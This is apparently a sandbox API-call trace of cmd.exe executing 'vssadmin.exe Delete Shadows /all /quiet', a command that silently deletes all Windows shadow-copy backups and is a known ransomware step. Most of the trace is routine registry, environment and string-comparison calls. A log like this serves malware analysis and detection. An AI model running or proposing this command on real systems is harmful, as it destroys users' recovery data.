	[0151.472] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x40, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.473] RegCloseKey (hKey=0x44) returned 0x0
	[0151.473] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aed48 | out: phkResult=0x1aed48*=0x44) returned 0x0
	[0151.473] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x40, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.473] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x1, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.473] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x1, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.473] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x0, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.473] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x9, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.474] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x4, lpData=0x1aed60*=0x9, lpcbData=0x1aed44*=0x4) returned 0x0
	[0151.474] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aed40, lpData=0x1aed60, lpcbData=0x1aed44*=0x1000 | out: lpType=0x1aed40*=0x0, lpData=0x1aed60*=0x9, lpcbData=0x1aed44*=0x1000) returned 0x2
	[0151.474] RegCloseKey (hKey=0x44) returned 0x0
	[0151.474] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e68c
	[0151.474] srand (_Seed=0x5e22e68c) 
	[0151.474] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0151.474] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0151.475] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.475] GetProcessHeap () returned 0x280000
	[0151.475] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x29aa30
	[0151.475] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29aa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0151.476] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0151.476] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0151.476] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.476] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0151.476] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0151.477] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0151.477] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0151.477] GetProcessHeap () returned 0x280000
	[0151.477] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2994f0 | out: hHeap=0x280000) returned 1
	[0151.477] GetEnvironmentStringsW () returned 0x298a60*
	[0151.478] GetProcessHeap () returned 0x280000
	[0151.478] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xa94) returned 0x29b6f0
	[0151.478] FreeEnvironmentStringsW (penv=0x298a60) returned 1
	[0151.478] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0151.478] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.478] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0151.478] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0151.478] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0151.478] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0151.479] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0151.479] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0151.479] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0151.479] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0151.479] GetProcessHeap () returned 0x280000
	[0151.479] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x38) returned 0x2964f0
	[0151.479] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1afb50 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.479] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1afb50, lpFilePart=0x1afb30 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1afb30*="system32") returned 0x13
	[0151.480] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.480] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1af860 | out: lpFindFileData=0x1af860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Windows", cAlternateFileName="")) returned 0x298300
	[0151.480] FindClose (in: hFindFile=0x298300 | out: hFindFile=0x298300) returned 1
	[0151.481] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1af860 | out: lpFindFileData=0x1af860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="System32", cAlternateFileName="")) returned 0x298300
	[0151.481] FindClose (in: hFindFile=0x298300 | out: hFindFile=0x298300) returned 1
	[0151.481] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.481] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0151.482] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0151.482] GetProcessHeap () returned 0x280000
	[0151.482] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29b6f0 | out: hHeap=0x280000) returned 1
	[0151.482] GetEnvironmentStringsW () returned 0x298a60*
	[0151.482] GetProcessHeap () returned 0x280000
	[0151.482] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xac4) returned 0x29ac50
	[0151.482] FreeEnvironmentStringsW (penv=0x298a60) returned 1
	[0151.482] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.482] GetProcessHeap () returned 0x280000
	[0151.482] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2964f0 | out: hHeap=0x280000) returned 1
	[0151.482] GetProcessHeap () returned 0x280000
	[0151.482] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4016) returned 0x29cc60
	[0151.484] GetProcessHeap () returned 0x280000
	[0151.484] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x68) returned 0x298300
	[0151.484] GetProcessHeap () returned 0x280000
	[0151.484] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4010) returned 0x2a0c80
	[0151.485] GetProcessHeap () returned 0x280000
	[0151.485] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4010) returned 0x2a4ca0
	[0151.910] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0151.913] GetProcessHeap () returned 0x280000
	[0151.913] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x420) returned 0x29b720
	[0151.913] SetErrorMode (uMode=0x0) returned 0x8001
	[0151.914] SetErrorMode (uMode=0x1) returned 0x0
	[0151.914] GetFullPathNameW (in: lpFileName="vssadmin.exe Delete Shadows \\all \\.", nBufferLength=0x208, lpBuffer=0x29b730, lpFilePart=0x1afa10 | out: lpBuffer="C:\\Windows\\system32\\vssadmin.exe Delete Shadows \\all", lpFilePart=0x1afa10*="all") returned 0x34
	[0151.914] SetErrorMode (uMode=0x8001) returned 0x1
	[0151.914] GetProcessHeap () returned 0x280000
	[0151.914] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x29b720, Size=0x86) returned 0x29b720
	[0151.914] GetProcessHeap () returned 0x280000
	[0151.914] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b720) returned 0x86
	[0151.915] NeedCurrentDirectoryForExePathW (ExeName="vssadmin.exe Delete Shadows \\all \\.") returned 1
	[0151.915] GetProcessHeap () returned 0x280000
	[0151.915] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x29b7c0
	[0151.915] GetProcessHeap () returned 0x280000
	[0151.915] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xec) returned 0x29b850
	[0151.915] GetProcessHeap () returned 0x280000
	[0151.915] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x29b850, Size=0x80) returned 0x29b850
	[0151.915] GetProcessHeap () returned 0x280000
	[0151.915] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b850) returned 0x80
	[0151.915] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0151.916] GetProcessHeap () returned 0x280000
	[0151.916] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xe8) returned 0x29b8e0
	[0151.928] GetProcessHeap () returned 0x280000
	[0151.928] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x29b8e0, Size=0x7e) returned 0x29b8e0
	[0151.928] GetProcessHeap () returned 0x280000
	[0151.928] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29b8e0) returned 0x7e
	[0151.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0151.929] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe Delete Shadows \\all\\quiet.*", fInfoLevelId=0x1, lpFindFileData=0x1af780, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af780) returned 0xffffffffffffffff
	[0151.929] GetLastError () returned 0x3
	[0151.929] GetProcessHeap () returned 0x280000
	[0151.929] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2a0c80 | out: hHeap=0x280000) returned 1
	[0151.930] GetProcessHeap () returned 0x280000
	[0151.930] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2a4ca0 | out: hHeap=0x280000) returned 1
	[0151.930] GetProcessHeap () returned 0x280000
	[0151.930] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc60 | out: hHeap=0x280000) returned 1
	[0151.931] GetConsoleOutputCP () returned 0x1b5
	[0151.931] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.931] GetUserDefaultLCID () returned 0x409
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1afc60, cchData=128 | out: lpLCData="0") returned 2
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1afc60, cchData=128 | out: lpLCData="0") returned 2
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1afc60, cchData=128 | out: lpLCData="1") returned 2
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2
	[0151.933] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0151.934] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2
	[0151.935] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0151.935] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0151.937] GetProcessHeap () returned 0x280000
	[0151.937] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x20c) returned 0x29b9e0
	[0151.937] GetConsoleTitleW (in: lpConsoleTitle=0x29b9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0151.938] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0151.938] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0151.938] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0151.939] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0151.939] GetProcessHeap () returned 0x280000
	[0151.940] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x4012) returned 0x29cc60
	[0151.940] GetProcessHeap () returned 0x280000
	[0151.940] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cc60 | out: hHeap=0x280000) returned 1
	[0151.943] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77
	[0151.943] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16
	[0151.943] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16
	[0151.943] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13
	[0151.943] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13
	[0151.943] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4
	[0151.943] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4
	[0151.943] GetProcessHeap () returned 0x280000
	[0151.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xb0) returned 0x29bc00
	[0151.943] GetProcessHeap () returned 0x280000
	[0151.943] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x2964f0
	[0151.945] GetProcessHeap () returned 0x280000
	[0151.946] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x29bcc0
	[0151.948] GetConsoleTitleW (in: lpConsoleTitle=0x1afb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0152.489] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe")) returned 0x20
	[0152.824] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4
	[0152.825] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4
	[0152.826] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14
	[0152.827] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11
	[0152.828] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="DIR") returned 18
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="ERASE") returned 17
	[0152.829] _wcsicmp (_String1="vssadmin.exe", _String2="DEL") returned 18
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="TYPE") returned 2
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="COPY") returned 19
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="CD") returned 19
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="CHDIR") returned 19
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="RENAME") returned 4
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="REN") returned 4
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="ECHO") returned 17
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="SET") returned 3
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="PAUSE") returned 6
	[0152.830] _wcsicmp (_String1="vssadmin.exe", _String2="DATE") returned 18
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="TIME") returned 2
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="PROMPT") returned 6
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="MD") returned 9
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="MKDIR") returned 9
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="RD") returned 4
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="RMDIR") returned 4
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="PATH") returned 6
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="GOTO") returned 15
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="SHIFT") returned 3
	[0152.831] _wcsicmp (_String1="vssadmin.exe", _String2="CLS") returned 19
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="CALL") returned 19
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="VERIFY") returned 14
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="VER") returned 14
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="VOL") returned 4
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="EXIT") returned 17
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="SETLOCAL") returned 3
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="ENDLOCAL") returned 17
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="TITLE") returned 2
	[0152.832] _wcsicmp (_String1="vssadmin.exe", _String2="START") returned 3
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="DPATH") returned 18
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="KEYS") returned 11
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="MOVE") returned 9
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="PUSHD") returned 6
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="POPD") returned 6
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="ASSOC") returned 21
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="FTYPE") returned 16
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="BREAK") returned 20
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="COLOR") returned 19
	[0152.833] _wcsicmp (_String1="vssadmin.exe", _String2="MKLINK") returned 9
	[0152.834] _wcsicmp (_String1="vssadmin.exe", _String2="FOR") returned 16
	[0152.834] _wcsicmp (_String1="vssadmin.exe", _String2="IF") returned 13
	[0152.834] _wcsicmp (_String1="vssadmin.exe", _String2="REM") returned 4
	[0153.349] GetProcessHeap () returned 0x280000
	[0153.349] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x218) returned 0x29bd10
	[0153.349] GetProcessHeap () returned 0x280000
	[0153.349] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x62) returned 0x29bf30
	[0153.349] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0153.350] GetProcessHeap () returned 0x280000
	[0153.350] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x420) returned 0x281320
	[0153.350] SetErrorMode (uMode=0x0) returned 0x8001
	[0153.350] SetErrorMode (uMode=0x1) returned 0x0
	[0153.350] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x281330, lpFilePart=0x1af400 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1af400*="system32") returned 0x13
	[0153.350] SetErrorMode (uMode=0x8001) returned 0x1
	[0153.351] GetProcessHeap () returned 0x280000
	[0153.351] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x281320, Size=0x52) returned 0x281320
	[0153.351] GetProcessHeap () returned 0x280000
	[0153.351] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x281320) returned 0x52
	[0153.351] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0153.351] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0153.352] GetProcessHeap () returned 0x280000
	[0153.352] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x104) returned 0x29bfa0
	[0153.352] GetProcessHeap () returned 0x280000
	[0153.352] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1f8) returned 0x281390
	[0153.354] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x281390, Size=0x106) returned 0x281390
	[0153.354] GetProcessHeap () returned 0x280000
	[0153.354] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x281390) returned 0x106
	[0153.354] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0153.354] GetProcessHeap () returned 0x280000
	[0153.355] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xe8) returned 0x2814b0
	[0153.355] RtlReAllocateHeap (Heap=0x280000, Flags=0x0, Ptr=0x2814b0, Size=0x7e) returned 0x2814b0
	[0153.355] GetProcessHeap () returned 0x280000
	[0153.355] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2814b0) returned 0x7e
	[0153.355] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.355] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x1af170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af170) returned 0x29c0b0
	[0153.355] GetProcessHeap () returned 0x280000
	[0153.356] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x28) returned 0x2945b0
	[0153.356] FindClose (in: hFindFile=0x29c0b0 | out: hFindFile=0x29c0b0) returned 1
	[0153.356] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0153.356] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
